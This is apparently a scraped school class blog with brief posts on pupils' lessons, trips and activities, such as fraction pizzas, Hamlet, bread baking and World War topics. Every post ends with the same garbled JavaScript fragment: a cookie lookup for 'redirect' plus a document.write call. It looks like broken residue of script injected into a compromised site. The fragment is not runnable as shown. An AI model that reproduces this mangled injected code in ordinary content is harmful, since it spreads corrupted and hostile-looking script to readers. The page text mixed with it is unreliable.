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    Primary 2 fraction pizza making 

    In primary 2 this morning we have been making our own paper pizzas and working out what fraction of the pizza is covered by different toppings. Everyone worked really hard, well done boys! Jack Allen has created a pic collage to show our work.     (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

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    To be or not to be, that is the question!

    In English this week we have been learning all about Hamlet. As a class we read through the summary of the play and have been focusing on key words and quotes from the different sections. We talked about what it would feel like to be in Hamlet and Ophelia’s situations and whether their actions were necessary. Have a look at our text analysis! (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

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    Bread Baking Bonanza!

    In Catering this week, we’ve been creating our own loafs! We followed advice from the Bread Master (Mr Paul Hollywood!) and created in the shape of squares, spheres and Levi even attempted a 7 stringed plait! It turned out fantastic and they all tasted amazing! Take a look at our photos. (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

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    Hesley wood – Crate Stacking!

    Wow, this week at Hesley Wood was amazing! We had a go at crate stacking to see who could get to the top the quickest! Although it was muddy and very high, we had a brilliant time! Please have a look at our photos and make sure to have a look here next week for photos of the obstacle course we will be completing! (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Year 8

    Year Eight Drama 

    Year Eight have been rehearsing their World War One play in the trenches.    (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Primary 1

    World War II Games

      In Primary 1 we have been looking at the different games that children played during the war. Andrew likes skipping and Cameron has mastered hopscotch. (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

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    KS3 Armouries trip

    Today Ks3 visited the Royal Armouries in Leeds to discover more about WW1. They enjoyed looking around the exhibitions and exploring the artefacts.     (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

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    Light and Shadow

    In primary 4 we made WW2 Spitfires and then we used them to show how shadows are formed. You can just imagine one flying over head.     (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Year 8

    Year Eight at Royal Armouries 

    As part of our Elements topic on World War One Year Eight enjoyed at trip to the Royal Armouries.  We took part in a World War One workshop. The pupils and staff had a great time.     (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

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    LGBT SEAL board

    In SEAL lessons here at Darton we have been working on a range of things such as anti bullying and Homophobia. Caroline and Levi have worked hard on creating this LGBT board with advice, posters and quotes. (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

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    Primary 2 geography

    In Primary 2 we have been looking at the evacuation of children to Staffordshire after The Blitz. Children were evacuated from a number of cities across the UK. Today, we marked these cities on a map so we could see how far some of these children had to travel to get to Staffordshire.     (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Primary 4

    What’s on Primary 4’s walls?

    We’ve been using our working walls to display learning objectives and to show the paths we’ve taken on our learning. We like to photograph them so we can look back at them in the future.    (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Year 10

    Never give up 

    Fantastic joint nurture this morning with Y10 and Y11 joining forces. A great game of football with a 6-5 victory to non blues. Non blues were losing with 30 seconds left but managed a late equaliser and a last second winner from Cal Smith, showing you should never give up. Mr Chambers also managed to avoid scoring in his own net!!    (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

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    Work hard play hard

    Year 10 have had a great week this week. Did you that Y11 study the following qualifications  English Maths Science Citizenship Design Technology Art ICT Rock School PE Some have off site placements Whilst doing this, attendance is great and the atmosphere is quality. We have some interventions going on and all are working hard. Well done Year 10       (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

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    War poetry in Y7

    In year 7 we have been writing war poetry, imagining we are soldiers in the war, writing back to our families at home.       (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Primary 1

    Otto The Bear

      Primary 1 have been looking at an Autobigraphy written by Otto. Otto was a teddy bear that lived with a boy called David during World War II. Otto was given to David’s friend Oskar when David and his family were taken away for being Jewish. Luckily for Otto he had numerous adventures before he was spotted by David in an antique shop window over 50 years later. After listening carefully to the story Primary 1 made hand puppets and have been able to answer questions about the story. (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

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    World War Two Day

    Class 3 and the rest of Key Stage 2 spent a fantastic day at Kelham Island Museum in Sheffield today. They travelled back in time to 1939 and experienced life at the start of WWII.  They learned a lot about what life was like for children during the war years.     (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Year 8

    Year Eight making noise about bullying

    As part of anti-bullying week Year Eight have been making a noise about bullying by writing some anti-bullying songs.     (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

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    Personal development fitness 

    Some of the students are wanting to improve their fitness , they had a go at the Army Fitness Test , which is a 1.5 mile / 2.4 km run .  Their times were as follows  Keiron 15.53 Callum 16.53 Luis 19.30 Chelsea covered 1.7km in 20 minutes .  A really impressive effort from all 4 of them          (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

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    Learning a trade

    Billy and Keiran starting their painting and decorating course up at BCB .  The boys are learning how to cut in and rolling skills .        (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Primary 1

    Anderson Shelters

    Primary 1 have been looking at what life would have been like inside an Anderson Shelter during WWII. Andrew said it would have have been dark and damp. Collaboratively the class thought of lots of interesting adjectives.    (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Year 10

    Barnsley Youth Council

    Here is a picture of Y10’s Thomas Tighe representing Springwell at the Barnsley Youth Council. He is pictured here in the Town Hall chamber discussing the issues that affect young people in Barnsley- that’s most of you!!!! Well done Thomas!    (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Year 10


    Ashley, Liam, Brandon and Aston have started making Airfix models. Look at the work involved and how many instructions there are to follow!!! Good luck boys. We’ll post a picture of the finished product.     (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

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    Primary 3 Attendance Champions

    Class 3 were attendance champions for Term 1a and their prize was a special breakfast. Here they are tucking into bacon, sausages, pancakes and waffles. In less than 5 minutes they cleared the table!! All pupils agree that it pays off to attend school regularly and they will be trying to win the prize again!     (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

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    Hesley wood 11/11/15

    This week at Hesley Wood, we had a lesson in the sport behind Air Rifle shooting. We listened to the instructor tell us about the sport in the Olympics and how both men and women compete against each other. We all enjoyed it and even Mr.Lloyd had a go!    (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

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    Key Stage Three Drama

    Key stage three pupils put themselves in the shoes of World War One soldiers    by ‘stepping in’ to a photograph from World War One and did some thought tracking, trying to imagine how the soldiers would be feeling and what they would be thinking.  (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

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    Year Eight Elements

    Year Eight are learning about the causes of World War One.  We re-enacted the assassination of Archduke Franz Ferdinand and his wife Sofia.    (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}